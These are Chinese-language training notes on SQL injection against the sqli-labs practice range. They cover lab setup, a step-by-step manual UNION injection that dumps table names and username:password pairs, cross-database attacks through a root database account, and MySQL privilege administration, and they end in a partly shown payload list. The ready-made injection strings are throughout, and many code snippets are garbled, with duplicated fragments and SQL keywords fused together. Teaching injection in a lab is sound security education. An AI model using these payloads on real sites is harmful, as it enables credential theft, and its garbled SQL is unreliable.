2.1.SQL注入之sqli-labs环境搭建
一、SQL注入之Sql-labs靶场
00:36
1. SQLi-Labs是什么
00:37
- 专业练习平台:SQL-Labs是一个专业的SQL注入练习平台,适用于GET和POST场景
- 包含注入类型:
- 基于错误的注入(Union Select)
- 基于误差的注入(双查询注入)
- 盲注入(基于Boolean数据类型注入和基于时间注入)
- 更新查询注入(update)
- 插入查询注入(insert)
- Header头部注入(基于Referer、UserAgent、cookie注入)
- 二阶注入(二次注入)
- 绕过WAF(黑名单/过滤器/误判/注释剥离等11种绕过方式)
2. SQLi-Labs下载
01:54
- 下载地址:https://github.com/Audi-1/sqli-labs
- 下载步骤:
- 访问GitHub链接
- 点击"Download ZIP"按钮下载压缩包
- 解压到本地目录(建议桌面或D盘)
3. SQLi-Labs安装
02:53
- 环境准备:需要PHP+Mysql环境(推荐使用phpstudy)
- 安装步骤:
- 将解压后的SQLi-Labs文件夹放置到phpstudy的WWW目录下
- 修改配置文件db-creds.inc中的数据库连接信息:
dbuser=′root′;dbuser = ‘root’; dbuser=′root′;
dbpass = ‘root’;
dbname=′security′;dbname = ‘security’; dbname=′security′;
host = ‘localhost’;
- 注意phpstudy默认的mysql用户名密码都是root
4. PHPstudy安装与使用
04:03
- 下载安装:
- 官网:www.phpstudy.net
- 选择Windows版本下载
- 安装时建议选择非C盘目录
- 使用注意事项:
- 启动前需确保没有其他MySQL服务运行(会端口冲突)
- 需要启动Apache和MySQL服务
- 靶场需要PHP5.x版本(高版本不兼容)
- 在软件管理中安装PHP5.2.17或5.3.29
- 在网站管理中切换PHP版本
- 验证安装:
- 访问localhost查看是否显示"站点创建成功"
- 访问localhost/sqli-labs-master/查看靶场界面
二、知识小结
| 知识点 | 核心内容 | 考试重点/易混淆点 | 难度系数 |
| SQL注入基础概念 | 原理与攻击场景概述,强调数据提交方式(GET/POST)的影响 | 区分字符型与整数型注入的语法差异 | ⭐⭐ |
| 靶场环境搭建 | 使用sqli-labs靶场(GitHub开源),需配合PHPStudy(Apache+MySQL+PHP)环境 | PHP版本兼容性问题(需降级至5.x版本); MySQL端口冲突(需卸载原有服务) | ⭐⭐⭐⭐ |
| 靶场功能特性 | 覆盖报错注入、盲注、二次注入、绕过技术等全场景 | 双查询注入与时间延迟注入的实战区别 | ⭐⭐⭐ |
| 环境配置关键步骤 | 1. 修改db-creds.inc文件匹配MySQL账号(root/root); 2. 靶场源码放置于phpstudy/www/目录 | 配置文件路径(sql-connections/db-creds.inc); 版本切换(PHP≤5.3) | ⭐⭐⭐⭐ |
| 注入技术分类 | 按数据类型(字符/整数)、提交方式(GET/POST)、语法(UPDATE/INSERT)划分 | 二阶注入与报错注入的触发条件对比 | ⭐⭐⭐ |
2.2 SQL注入之MYSQL手工注入
一、学习路线规划
00:02
1. 动手实战
06:50
1)SQL注入流程
07:07
- SQL注入流程练习
08:09- SQL注入基础概念
- 注入类型分类:
- 基于错误类型:单引号字符串型、双引号字符串型、整数型
- 基于提交方式:GET、POST、Cookie、HTTP头
- 基于查询方式:SELECT、INSERT、DELETE、UPDATE、ORDER BY
- 盲注类型:布尔型、时间型、报错型
- GET与POST提交方式
- 基本区别
- GET提交:
- 提交位置:通过URL地址栏提交数据
- 可见性:数据完全暴露在网址中
- 长度限制:约2083字节(2KB+35),不同浏览器有差异
- 应用场景:适用于数据不敏感、安全性要求低的场景,速度快
- POST提交:
- 提交方式:直接通过服务器提交
- 安全性:数据不会显示在URL中
- 数据量:支持更大数据量传输
- 应用场景:现代网站主流提交方式
- 实际应用对比
- 速度差异:GET提交速度明显快于POST
- 安全性案例:以靶场ID=1为例,GET方式直接在URL中暴露参数值
- 长度限制示例:当提交数据超过2083字节时,IE浏览器会完全无响应
- 基本区别
- SQL注入实战环境
- 环境说明:
- 类型:基于错误的整数型注入(Error Based Intiger)
- 操作提示:“Please input the ID as parameter with numeric value”
- 注入点:通过URL参数?id=1进行测试
- 盲注技术原理
- 定义:当注入过程中获取的数据不能回显到页面时的判断技术
- 分类:
- 布尔盲注:通过页面返回的真假状态判断
- 时间盲注:通过服务器响应时间差异判断
- 报错盲注:利用数据库报错信息获取数据
- 应用场景:特别适用于INSERT等无回显点的操作
- 注入语句示例
- 基础查询:?id=1 union select 1,2,database()
- 表名获取:?id=-1 union SELECT 1,2,group_concat(table_name) from information_schema.tables
- 字段探测:?id=-1 order by 3 用于判断字段数量
- 常见错误解决
- 权限问题:修改文件权限为755(Linux)或可读可写(Windows)
- 防火墙阻挡:临时关闭防火墙或允许WWW服务通过
- 目录配置:确保站点根目录存在index.html或index.php文件
- SQL注入基础概念
- 继续之前SQL注入流程练习
12:25- 展示页面数据
12:36- 数据展示机制:通过URL传递id=1参数后,页面显示两条数据:登录名"Dumb"和密码"Dumb",这是从数据库查询返回的结果。
- 参数变化影响:当修改id值为2或3时,页面显示的用户名和密码会相应变化,说明后端根据id参数动态查询数据库。
- 源码分析
12:48- 源码路径:靶场源码位于D盘phpstudy_pro/www/sqli-labs-master/Less-2/index.php
- 代码查看要点:重点观察接收参数和处理SQL查询的部分,不需要理解全部代码细节。
- ID值传递与接收
14:14- 参数接收流程:
- URL中的id参数通过$_GET[‘id’]接收
- 赋值给变量$id
- 记录到result.txt日志文件
- 关键代码:
id=id=id=
_GET[‘id’];
fp=fopen(′result.txt′,′a′);fwrite(fp=fopen(‘result.txt’,‘a’); fwrite(fp=fopen(′result.txt′,′a′);fwrite(
fp,‘ID:’.$id.“\n”);
- 展示页面数据
- SQL语句构造与参数注入 912000
- SQL语句构造:
$sql="SELECT * FROM users WHERE id=$idLIMIT 0,1";- 注入原理:
- 用户输入的id值直接拼接到SQL语句中
- 没有对输入进行过滤或参数化处理
- 可以通过构造特殊id值注入额外SQL命令
- 注入攻击演示
17:09- 手工注入方法:
- 通过union合并查询获取数据库信息
- 示例注入语句:union select 1,group_concat(table_name),3 from information_schema.tables
- 信息收集流程:
- 查询数据库表名
- 查询表字段名
- 查询具体数据
- 安全风险:
- 攻击者可获取整个数据库信息
- 可能导致数据泄露或服务器被控制
- 防御建议:
- 使用参数化查询
- 对输入进行严格过滤
- 最小权限原则配置数据库账户
- SQL注入第一步判断有无注入点
18:00- 手工注入的概念
18:06- 定义:通过手动构造SQL语句进行注入测试,区别于工具自动化注入
- 特点:需要逐步测试验证,效率较低但有助于理解注入原理
- 后续发展:课程后续会介绍工具注入提高效率
- 判断有无注入点的重要性
18:26- 首要步骤:手工注入的第一步必须是判断目标是否存在可被利用的注入点
- 必要性:若参数被严格过滤(如仅允许数字输入),则无法进行SQL注入
- 测试方法:通过输入非常规参数观察系统响应
- 过滤与判断的作用
18:49- 防御机制:开发者可通过预编译、参数过滤等方式防止注入
- 数字限制:示例中若限制id参数只能为数字,则输入"张三"会导致程序拒绝执行
- 代码实现:PHP/JAVA等语言均可通过简单代码实现输入验证
- 注入点的定义
20:07- 核心特征:用户输入被直接拼接到SQL语句中执行
- 验证方法:改变参数值(如id=3改为id=4)观察返回数据变化
- 实际案例:靶场中id=3和id=4返回不同用户数据,证明存在注入
- 使用and 1=1判断注入点
20:36- 经典方法:附加and 1=1条件测试SQL执行情况
- 原理:1=1恒为真,若语句正常执行则证明参数被解析为SQL语法
- 变体测试:也可使用and 1=2等条件验证不同响应
- 京东案例:登录页面输入zhangsan’ and 1=1–测试注入可能性
- 实际操作演示
21:09- 靶场环境:使用security数据库的users表(14条用户数据)
- SQL验证:通过mysql命令行直接查询验证表结构
- 错误注入:输入非常规字符如id=da触发报错信息
- 报错分析:Unknown column 'da’错误证明参数被直接拼接到SQL语句
- 结论性测试:任意非常规输入导致SQL语法错误即确认存在注入点
- 错误解读:报错信息显示用户输入被当作SQL语句部分执行
- 防御缺失:缺乏参数过滤和预处理机制是注入漏洞的根本原因
- 手工注入的概念
- SQL注入第二步:猜解列名数量
26:01- 列名数量的概念
- 字段数量定义:列名数量即数据表的字段数量,如示例中users表包含id、username、password三个字段
- 实际应用场景:在渗透测试中,面对未知数据库结构(如淘宝、京东等网站),需要通过技术手段推断表的字段数量
- 使用ORDER BY猜解方法
- 核心原理:利用SQL的ORDER BY子句进行字段数量推断,数字参数对应字段序号(1=第1个字段,2=第2个字段…)
- 报错机制:当ORDER BY数字超过实际字段数时会报错,如3字段表使用ORDER BY 4将触发"Unknown column"错误
- URL编码细节:%20代表空格字符的URL编码形式,是SQL注入中常见的特殊字符处理方式
- 实战演示过程
- 验证步骤:
- 从ORDER BY 1开始测试,正常显示说明至少有1个字段
- 递增测试至ORDER BY 3仍正常
- 测试ORDER BY 4时出现报错信息
- 结论推导:通过该方法可确定users表包含3个字段(id、username、password)
- 技术要点总结
- 关键技巧:该方法属于盲注技术,无需知晓实际表结构即可推断字段数量
- 注意事项:
- 需要逐步递增测试,不能直接猜测大数字
- 不同数据库的报错信息可能有差异
- 实际渗透中需要结合其他注入技术综合判断
- 典型应用:为后续UNION SELECT注入确定字段数量做准备
- 列名数量的概念
- SQL注入第三步:报错判断回显点
29:00- 报错判断回显点的方法
29:01- 基础判断:通过输入特殊字符(如单引号)触发系统报错,确认是否存在注入漏洞
- 真假测试:使用and 1=1(真条件)和and 1=2(假条件)观察页面响应差异
- 列数探测:通过order by语句逐步增加数字测试字段数量,如order by 4报错则说明字段数小于4
- 判断回显点的重要性
29:12- 核心作用:确定前端页面显示数据库查询结果的具体位置
- 前置准备:字段数量探测(第二步)是为回显点判断做铺垫
- 后续影响:准确找到回显点才能实施有效的数据窃取操作
- 使用联合查询判断回显点
29:30- 关键函数:使用UNION SELECT合并两条查询语句
- 字段匹配:前后查询的字段数量必须严格一致(如已知3个字段则写union select 1,2,3)
- localhost/sgli-labs-master/Less-2/index.php?id=1 union select 1,2,3
- 结果隔离:第一条查询可故意使用不存在的ID(如-1或99)确保只显示第二条查询结果
- 通过联合查询确定回显点
32:06- 操作步骤:
- 构造id=-1 union select 1,2,3语句
- 观察页面显示的数字(如显示2和3)
- 这些数字位置即为数据回显点
- 特性验证:
- 当第一条查询无结果时,第二条查询结果会完整显示
- 回显点数字对应select后的字段位置(如显示2表示第二个字段可输出数据)
- 回显点的后续学习内容
32:18- 无回显场景:当页面不直接显示查询结果时需要其他技术(如盲注)
- 进阶应用:通过回显点可获取数据库信息(如表名、字段内容)
- 防御措施:参数化查询可有效防止回显点被利用
- 报错判断回显点的方法
- SQL注入第四步信息收集
32:32- 数据库版本信息收集
34:33- 回显点利用:在有回显点的注入中,可通过在回显位置插入version()函数直接获取数据库版本
- 实战示例:在SQLi-Labs靶场Less-2中,使用union select 1,version(),3成功获取到MySQL版本为5.7.26
- 重要性:版本信息决定后续注入方式和可利用的系统库资源
- 高低版本区分
35:29- 高版本:MySQL 5.0及以上版本(含5.5.5)
- 低版本:MySQL 5.0以下版本
- 关键区别:
- 系统库存在:高版本自带information_schema等系统库,低版本无系统库
- 注入方式:高版本可通过查询系统库获取元数据,低版本需采用暴力破解等方式
- 信息收集:高版本可利用information_schema中的tables/columns表获取数据库结构
- 数据库信息收集方法
- 库名获取
- 函数使用:通过database()函数可直接获取当前数据库名称
- 实战验证:在SQLi-Labs靶场中查询结果为"security",与实际库名一致
- 系统库查询:高版本还可通过information_schema.schemata表查询所有数据库名称
- 系统库利用
- 核心表:
- tables:存储所有表信息
- columns:存储所有字段信息
- schemata:存储所有数据库信息
- 查询示例:
- select table_name from information_schema.tables where table_schema=‘库名’
- select column_name from information_schema.columns where table_name=‘表名’
- 库名获取
- 信息收集策略
- 收集内容:
- 数据库版本(version())
- 当前库名(database())
- 操作系统类型
- 数据库用户权限
- 战术价值:信息越全面,可选择的注入方式越多,成功率越高
- 后续利用:根据收集信息选择合适注入技术(如基于错误的注入、联合查询注入等)
- 收集内容:
- 数据库版本信息收集
- 社会注入整体应用
38:37- 注入的目标与需求
38:41- 注入目标确认
- 核心需求:通过SQL注入获取靶场user表中的账号密码信息
- 实现路径:需要编写特定SQL语句逐步获取数据库结构信息(库名→表名→字段名→数据)
- 关键工具:使用union联合查询配合information_schema系统库进行数据收集
- 注入目标确认
- 注入应用的章节示例
38:57- 系统库结构解析
- 核心表结构:
- tables表:存储所有数据库的表信息,关键字段为table_name
- columns表:存储所有表的字段信息,关键字段为column_name
- 层级关系:服务器→数据库→表→字段(数据)
- 查询方法:
- 库名获取:使用database()函数直接查询
- 表名查询:SELECT table_name FROM information_schema.tables WHERE table_schema=database()
- 字段查询:SELECT column_name FROM information_schema.columns WHERE table_name=‘users’
- 数据查询技术细节
- 查询优化技巧
- 数据合并:使用GROUP_CONCAT()函数合并多行结果,避免页面显示不全
- 示例:SELECT GROUP_CONCAT(username) FROM users
- 分隔符:可用0x3a(冒号)作为字段分隔符
- 编码处理:表名等字符串可转为16进制格式(如user→0x75736572)避免引号问题
- 数据合并:使用GROUP_CONCAT()函数合并多行结果,避免页面显示不全
- 完整注入流程
- 确定回显点:通过union select定位有效显示位置
- 查询库名:SELECT database()
- 查询表名:SELECT table_name FROM information_schema.tables WHERE table_schema=database()
- 四张表都显示出来了
- 查询字段:SELECT column_name FROM information_schema.columns WHERE table_name=0x75736572
- 库名转换成16进制
- 获取数据:SELECT GROUP_CONCAT(username,0x3a,password) FROM users
- 查询优化技巧
- 注意事项
- 语法规范:
- 等号前后不能有空格(table_schema=database)
- information_schema必须拼写正确
- 实战技巧:
- 优先查询user/users等可能包含凭证的表
- 通过字段名特征(如包含name/pass等)快速定位关键字段
- 错误处理:
- 报错时检查单引号使用情况
- 可尝试16进制编码替代直接字符串
- 语法规范:
- 系统库结构解析
- 注入的目标与需求
2)内容总结
59:30
- 数据库注入类型对比
- 普通注入与高权限注入区别:
- 普通注入受限于当前数据库用户权限
- 高权限注入使用root账号,具有数据库系统最高权限
- 跨库注入特性:
- 高权限注入可实现跨数据库操作
- 普通注入通常只能操作当前数据库
- 普通注入与高权限注入区别:
- 高权限注入详解
- 权限特征:
- 使用root账号执行注入操作
- 可访问系统所有数据库资源
- 操作范围:
- 不受单一数据库限制
- 可实现跨数据库查询和数据操作
- 安全风险:
- 可能导致整个数据库系统沦陷
- 比普通注入危害性更大
- 权限特征:
- 实践建议
- 练习重点:
- 掌握普通注入的基本操作流程
- 理解权限对注入操作的影响
- 学习建议:
- 通过实例练习体会不同权限下的注入差异
- 注意观察错误回显的权限提示信息
- 后续内容预告:
- 将学习更多注入方式和应用场景
- 包括但不限于跨库注入等高级技术
- 练习重点:
二、知识小结
| 知识点 | 核心内容 | 技术要点/易混淆点 | 难度系数 |
| SQL注入基础概念 | 通过用户输入参数构造恶意SQL语句 | 注入点判断方法(and 1=1测试); 高版本与低版本数据库区别 | ★★☆☆☆ |
| 注入点探测技术 | URL参数测试(GET提交); 表单字段测试(POST提交) | 空格编码(%20转换); 数字型与字符型注入差异 | ★★★☆☆ |
| 信息收集技术 | version()获取数据库版本; database()获取当前库名 | 系统库information_schema结构解析; 高版本特有功能 | ★★☆☆☆ |
| 字段数量探测 | order by逐级递增测试 | 报错临界值判断标准; 联合查询字段数匹配要求 | ★★★☆☆ |
| 回显点定位 | union select联合查询测试; 负值/不存在的ID绕过 | 布尔盲注与延时盲注适用场景 | ★★★★☆ |
| 数据提取技术 | group_concat()聚合函数使用; 16进制编码绕过过滤 | tables表与columns表关联查询; 跨库注入条件 | ★★★★☆ |
| 防御措施 | 预编译语句/参数化查询; 输入过滤与白名单机制 | WAF绕过技术(注释符/大小写变异) | ★★★☆☆ |
| 实战案例 | DVWA靶场第二关手工注入; 完整注入链条演示 | 库→表→字段→数据的递进式查询; 权限提升可能性 | ★★★★★ |
2.3 SQL注入之高权限注入上_笔记
一、高权限注入
00:05
1. 什么是SQL注入
1)高权限的概念
00:11
- 本质:高权限意味着对整个数据库系统的完全控制权,包括数据访问、修改、新增等所有操作权限。
- 典型代表:在MySQL等数据库中,root用户拥有最高权限,可以跨数据库进行操作。
2)数据库用户权限划分
00:33
- 系统用户:
- 拥有高级函数和资源表的访问权限
- 可执行数据库所有操作(如数据读写、结构修改)
- 普通用户:
- 仅拥有管理员配置的特定权限
- 权限范围可能限制到单表甚至特定字段
- 示例:只能查询某表的特定列,无删除/修改权限
3)高权限与低权限的区别
00:49
- 操作范围:
- 高权限:可访问所有数据库(如跨网站数据库)
- 低权限:仅限单个数据库,可能文件读写失败
- 实际影响:
- 高权限用户可进行服务器文件读写
- 普通用户仅能操作当前网站配置的数据库部分
4)多个网站共享MySQL服务器
02:07
- 典型架构:
- 单个MySQL服务承载多个网站数据库(如数据库A对应网站A,数据库B对应网站B)
- 示例:新浪主站和新闻子站可能使用同一服务器的不同数据库
- 共享特点:
- 子网站数据存储在独立数据库中
- 物理部署在同一MySQL服务器实例
5)高权限注入的前提条件
05:51
- 关键要求:
- 存在SQL注入漏洞的网站使用root权限连接数据库
- 漏洞需允许执行跨库查询语句
- 典型场景:
- 通过网站A的注入点访问网站B的数据库
- 需要网站A的数据库连接账号为系统管理员权限
6)高权限注入的应用场景
06:42
- 攻击路径:
- 发现网站A存在SQL注入漏洞
- 确认网站A使用高权限数据库账号
- 通过注入点枚举服务器所有数据库
- 提取目标网站B的敏感数据
- 防御要点:
- 网站应使用最小权限原则配置数据库账号
- 避免多个网站共享高权限数据库账号
2. SQL注入之sqli-labs环境搭建
07:56
1)第二关源码解析
09:16
- user() 查看用户权限,显示是root权限
- 源码结构:
- 包含MySQL连接参数引入(第19行)
- 接收用户输入的id参数(第24行)
- 将输入记录到result.txt日志文件(第26-28行)
- 构造SQL查询语句(第34行)
- 执行查询并输出结果(第35-44行)
- 关键漏洞:
- 未对用户输入的id参数进行过滤处理
- 直接拼接SQL语句(
sql="SELECT∗FROMusersWHEREid=sql="SELECT * FROM users WHERE id=sql=“SELECT∗FROMusersWHEREid=
id LIMIT 0,1”) - 使用mysql_query()这种已弃用的函数
2)数据库连接配置文件
10:07
- 配置文件层级:
- index.php引入sql-connect.php(第19行)
- sql-connect.php引入db-creds.inc(第4行)
- 最终在db-creds.inc中定义连接参数
- 连接参数:
- 用户名:$dbuser=‘root’
- 密码:$dbpass=‘root’
- 数据库名:$dbname=‘security’
- 主机:$host=‘localhost’
3)权限设置与访问
10:52
- 权限验证流程:
- 先检查user表中的全局权限
- 若为Y则拥有所有数据库权限
- 若为N则依次检查db、tables_priv、columns_priv表
- root权限特点:
- 可访问服务器所有数据库
- 可执行所有数据库操作(增删改查)
- 可修改系统配置参数
- 可创建/删除用户和授权
- 权限表分类:
- user表:存放账户信息和全局权限
- db表:存放数据库级别权限
- tables_priv表:存放表级别权限
- columns_priv表:存放字段级别权限
3. SQL注入之MYSQL系统库
11:23
1)系统库释义
12:16
- information_schema库
- 功能定义:是MySQL的信息数据库,保存服务器维护的所有其他数据库的元数据
- 核心用途:
- 存储数据库/表名称、列数据类型、访问权限等系统信息
- 在web渗透测试中具有重要应用价值
- 关键表说明:
- SCHEMATA表:记录所有数据库信息,等效于show databases命令结果
- TABLES表:存储数据库中所有表的详细信息
- mysql系统库
12:43- 核心功能:保存用户账户信息及权限配置数据
- 管理要素:
- 用户身份信息(账号/密码)
- 多级权限控制体系
- 访问权限修改接口
2)MySQL权限介绍
- 权限控制表体系
- 表结构层级:
- user表(最高权限):存储全局级别权限,控制整个MySQL实例访问
- db表:管理数据库级别权限,控制特定库访问
- tables_priv表:管理表级别操作权限
- columns_priv表:控制字段级别的访问权限
- 验证顺序:user → db → tables_priv → columns_priv(权限范围逐级缩小)
- 权限验证机制
- 认证流程:
- 通过user表的Host/User/Password字段验证登录凭证
- 权限分配按层级逐级检查:
- 若user表权限标记为Y(Yes),跳过下级检查
- 若为N(No),则向下一级表继续验证
- 典型场景:
- 全局权限用户:只需通过user表验证
- 受限权限用户:需遍历多级权限表验证
- 版本说明:演示环境使用MySQL 5.7.22版本权限体系
- 权限级别分类
- 全局管理权限:作用于整个MySQL实例
- 数据库级别权限:控制指定数据库的访问
- 对象级别权限:管理具体数据库对象(表/视图/字段)的操作权限
- 验证特点:采用"短路验证"机制,高级别权限通过后不再检查低级别权限
3)MySQL用户权限管理
16:41
- MySQL系统库结构
- 核心表:MySQL系统库包含user、db、tables_priv、columns_priv四张核心权限表
- 权限层级:从服务器到字段形成四级权限控制(服务器→数据库→表→字段)
- 表功能:
- user表:存储全局权限,决定哪些主机用户可以访问整个MySQL实例
- db表:存储数据库级权限,控制特定数据库的访问权限
- tables_priv表:存储表级权限,控制特定表的访问权限
- columns_priv表:存储列级权限,控制特定字段的访问权限
- 权限验证流程
- 验证顺序:身份认证后按user→db→tables_priv→columns_priv顺序检查权限
- 短路原则:若user表中权限为Y,则不再检查下级权限表
- 逐级验证:
- user表N→检查db表
- db表N→检查tables_priv表
- tables_priv表N→检查columns_priv表
- 用户权限操作
- 查看用户信息
- 查看所有用户:SELECT user, host FROM mysql.user;
- 查看具体权限:SELECT * FROM user WHERE user=‘root’ AND host=‘localhost’\G
- 权限标识:Y表示拥有该权限,N表示无权限
- root权限:所有权限字段均为Y,具有完全控制权
- 创建用户方法
- 推荐方式:使用CREATE命令
- 直接操作:通过INSERT语句向user表添加记录
- 权限限制:可精确控制到列级权限,如GRANT SELECT(id) ON test.temp TO user
- 权限变更操作
22:30- 提升权限:
- 删除用户:DROP USER ‘username’@‘host’
- 特殊权限:
- 仅查询权限:限制用户只能执行SELECT操作
- 存储过程权限:通过procs_priv表控制
- 查看用户信息
- 权限级别分类
- 全局权限:作用于整个MySQL实例(如SHUTDOWN权限)
- 数据库级:作用于特定数据库(如CREATE权限)
- 对象级:作用于表、视图等对象(如SELECT权限)
- 列级权限:精确到字段级别的控制(如仅允许查询特定列)
4)MySQL权限管理与用户操作
- MySQL权限系统结构
- 权限表分类:
- user表:存放用户账户信息及全局级别权限
- db表:存放数据库级别权限
- tables_priv表:存放表级别权限
- columns_priv表:存放列级别权限
- procs_priv表:存放存储过程和函数级别权限
- 权限级别划分:
- 全局性管理权限:作用于整个MySQL实例
- 数据库级别权限:作用于指定或所有数据库
- 数据库对象级别权限:作用于表、视图等对象
- 用户创建与授权操作
- 创建用户
- 创建方式:
- 推荐方式:CREATE USER ‘username’@‘host’ IDENTIFIED BY ‘password’;
- 直接操作系统权限表(不推荐)
- 示例操作:
- 查看用户权限
- 查看命令:
- 权限标识:Y表示有权限,N表示无权限
- 创建用户
- 权限管理操作
- 提升用户权限
- 管理员授权命令:
- 精确授权
- 列级别授权:
- 删除用户
- 删除命令:
- 提升用户权限
- 权限验证流程
- 验证顺序:
- 检查user表中的Host、User、Password字段
- 通过身份认证后,按user→db→tables_priv→columns_priv顺序验证
- 若user表中权限为Y,则跳过后续检查
- 若为N,则依次检查下级权限表
- 高低权限用户区别
- 高权限用户:
- 可管理所有数据库
- 可进行文件读写操作
- 权限标识多为Y
- 低权限用户:
- 仅限单个数据库权限
- 文件读写常失败
- 权限标识多为N
二、SQL注入之高权限注入
33:00
1. 高权限注入原理
- 权限差异:普通用户可能仅拥有单个数据库权限,而高权限用户(如root)可访问所有数据库并执行文件读写操作
- 危害范围:当攻击者获取root权限后,可控制整个MySQL服务器上的所有数据库,而不仅限于当前被攻击的网站数据库
- 实际案例:如字幕中提到的"当前网站连接数据库的用户是root权限",攻击者可通过该漏洞控制服务器上部署的所有数据库
2. MySQL权限验证机制
- 验证顺序:按照user→db→tables_priv→columns_priv的顺序进行权限验证
- 全局权限:若user表中权限为Y,则拥有所有数据库的该权限,不再检查下级表
- 层级验证:若上级权限为N,则依次向下级表(db→tables→columns)检查具体权限
1)系统权限表结构
- User表:存储用户账户信息及全局级别权限,决定哪些主机用户可以访问数据库实例
- Db表:存储数据库级别权限,决定用户对特定数据库的访问权限
- Tables_priv表:存储表级别权限,控制用户对特定表的访问
- Columns_priv表:存储列级别权限,控制用户对表字段的访问
- Procs_priv表:存储存储过程和函数级别的权限
2)MySQL权限级别
- 全局管理权限:作用于整个MySQL实例级别
- 数据库级别权限:作用于指定数据库或所有数据库
- 对象级别权限:作用于特定数据库对象(表、视图等)或所有对象
3. 高权限注入实例分析
- 环境说明:演示使用sqli-labs靶场,其中数据库连接用户为root权限
- 权限验证:通过select user,host from mysql.user和select * from user where user=‘root’ and host=‘localhost’\G命令查看用户权限
- 跨库攻击:root权限用户可通过注入漏洞访问服务器上其他网站的数据库(如test数据库),实现横向渗透
- 防御要点:应用程序连接数据库时应使用最小权限原则,避免使用root等高权限账户
三、知识小结
| 知识点 | 核心内容 | 考试重点/易混淆点 | 难度系数 |
| 高权限注入概念 | 高权限(如root)可操作整个数据库服务器,包括访问/修改其他网站的数据库;低权限用户仅能访问特定库/表/字段 | 区分权限层级:root > 数据库级 > 表级 > 字段级 | ⭐⭐ |
| 权限验证流程 | MySQL通过四张系统表验证权限:user(全局)→ db(库级)→ tables_priv(表级)→ columns_priv(字段级),按顺序检查权限是否为Y | user表全Y则跳过下级验证,否则逐级向下检查 | ⭐⭐⭐ |
| 多网站共享服务器风险 | 同一MySQL服务器可能托管多个网站数据库,高权限注入可跨库攻击(如通过网站A漏洞入侵网站B数据库) | 依赖网站A使用root账号连接数据库这一前提 | ⭐⭐⭐⭐ |
| 权限操作演示 | - 创建用户:GRANT或直接操作user表; - 提权:GRANT ALL PRIVILEGES ON.TO ‘user’; - 细粒度授权:仅开放特定表字段查询权限 | 普通用户初始权限全为N,需手动分配 | ⭐⭐⭐ |
| 靶场实战关联 | SQLi-Labs靶场第二关使用root权限连接,可通过注入漏洞探测服务器其他数据库(如test库) | 实际渗透中需结合information_schema遍历库/表 | ⭐⭐⭐⭐ |
| 防御关键点 | 程序应使用最小权限原则连接数据库,避免直接使用root账号 | 权限分配错误是高权限注入的根本原因 | ⭐⭐ |
MySQL权限管理操作笔记
一、用户管理
1. 创建用户
-- 创建本地用户(仅允许localhost访问)CREATEUSER'dev_local'@'localhost'IDENTIFIEDBY'StrongPass123!';-- 创建远程用户(允许任意IP访问)CREATEUSER'dev_remote'@'%'IDENTIFIEDBY'SecurePass456!';-- 创建带密码策略的用户(密码90天过期)CREATEUSER'audit_user'@'%'IDENTIFIEDBY'AuditPass789!'PASSWORD EXPIREINTERVAL90DAY;2. 修改用户
-- 修改密码ALTERUSER'dev_remote'@'%'IDENTIFIEDBY'NewSecurePass007!';-- 锁定账户ALTERUSER'dev_remote'@'%'ACCOUNTLOCK;-- 解锁账户ALTERUSER'dev_remote'@'%'ACCOUNTUNLOCK;3. 删除用户
DROPUSER'dev_remote'@'%';二、权限分配
1. 全局权限(作用于整个MySQL实例)
-- 授予全局权限(如管理权限)GRANTRELOAD,SHUTDOWNON*.*TO'dba_user'@'%';-- 刷新权限使生效FLUSHPRIVILEGES;2. 库级权限(针对特定数据库)
-- 授予某数据库所有权限GRANTALLPRIVILEGESONtest_db.*TO'admin_user'@'%';-- 授予只读权限GRANTSELECTONtest_db.*TO'read_user'@'%';3. 表级/列级权限
-- 表级权限(增删改查)GRANTSELECT,INSERT,UPDATE,DELETEONtest_db.usersTO'app_user'@'%';-- 列级权限(仅允许修改手机号字段)GRANTUPDATE(phone)ONtest_db.usersTO'partial_update_user'@'%';4. 特殊权限
-- 授予授权权限(可将权限转授他人)GRANTALLPRIVILEGESONdev_db.*TO'mgr_user'@'%'WITHGRANTOPTION;-- 授予过程权限(存储过程调用)GRANTEXECUTEONproc_db.*TO'proc_user'@'%';三、权限查询与验证
-- 查看用户权限SHOWGRANTSFOR'admin_user'@'%';-- 查询所有用户及权限信息USEmysql;SELECTuser,host,authentication_string,account_lockedFROMuser;-- 验证列级权限配置SELECT*FROMcolumns_privWHEREuser='partial_update_user';四、权限撤销
-- 撤销特定权限REVOKEDELETEONtest_db.*FROM'app_user'@'%';-- 撤销所有权限(保留账户)REVOKEALLPRIVILEGESONtest_db.*FROM'admin_user'@'%';-- 彻底删除权限(需先REVOKE)DROPUSER'temp_user'@'%';五、安全实践
最小权限原则:生产环境禁止使用
ALL PRIVILEGES限制登录来源:优先使用
'user'@'specific_ip而非'user'@'%'定期审计:
-- 查询过期密码账户SELECTuser,host,password_expiredFROMmysql.userWHEREpassword_expired='Y';强制密码策略:
ALTERUSER'user'@'%'PASSWORD EXPIRE NOW;
六、常见场景示例
场景1:开发环境只读用户
CREATEUSER'dev_ro'@'%'IDENTIFIEDBY'DevRoPass!';GRANTSELECTONdev_db.*TO'dev_ro'@'%';FLUSHPRIVILEGES;场景2:生产环境运维用户
CREATEUSER'ops'@'192.168.1.%'IDENTIFIEDBY'OpsSecure123!';GRANTRELOAD,PROCESS,SHOWDATABASES,LOCKTABLESON*.*TO'ops'@'192.168.1.%';场景3:数据录入专用账户
CREATEUSER'data_entry'@'localhost'IDENTIFIEDBY'EntryPass456!';GRANTINSERT,UPDATEONcompany_db.employeeTO'data_entry'@'localhost';###2.3.2 SQL注入中常用权限相关命令及注释
重要提示:以下命令仅用于合法的安全测试和学习目的,未经授权的数据库访问和操作属于违法行为。请确保您有合法授权进行安全测试。
一、基础信息获取命令
1. 获取数据库版本和当前用户
'UNIONSELECTVERSION(),USER()--注释:通过联合查询获取数据库版本和当前登录用户名,--为SQL注释符,用于忽略后面的内容。
二、数据库结构探索命令
2. 获取所有数据库名
'UNIONSELECTSCHEMA_NAME,NULLFROMINFORMATION_SCHEMA.SCHEMATA--注释:通过INFORMATION_SCHEMA.SCHEMATA系统表获取所有数据库名。
3. 获取指定数据库的所有表名
' UNION SELECT TABLE_NAME, NULL FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='your_database_name'--注释:替换your_database_name为实际数据库名,获取该数据库中的所有表名。
4. 获取指定表的所有列名
' UNION SELECT COLUMN_NAME, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users'--注释:获取users表的所有列名,用于后续数据提取。
三、数据提取命令
5. 提取特定表的字段内容
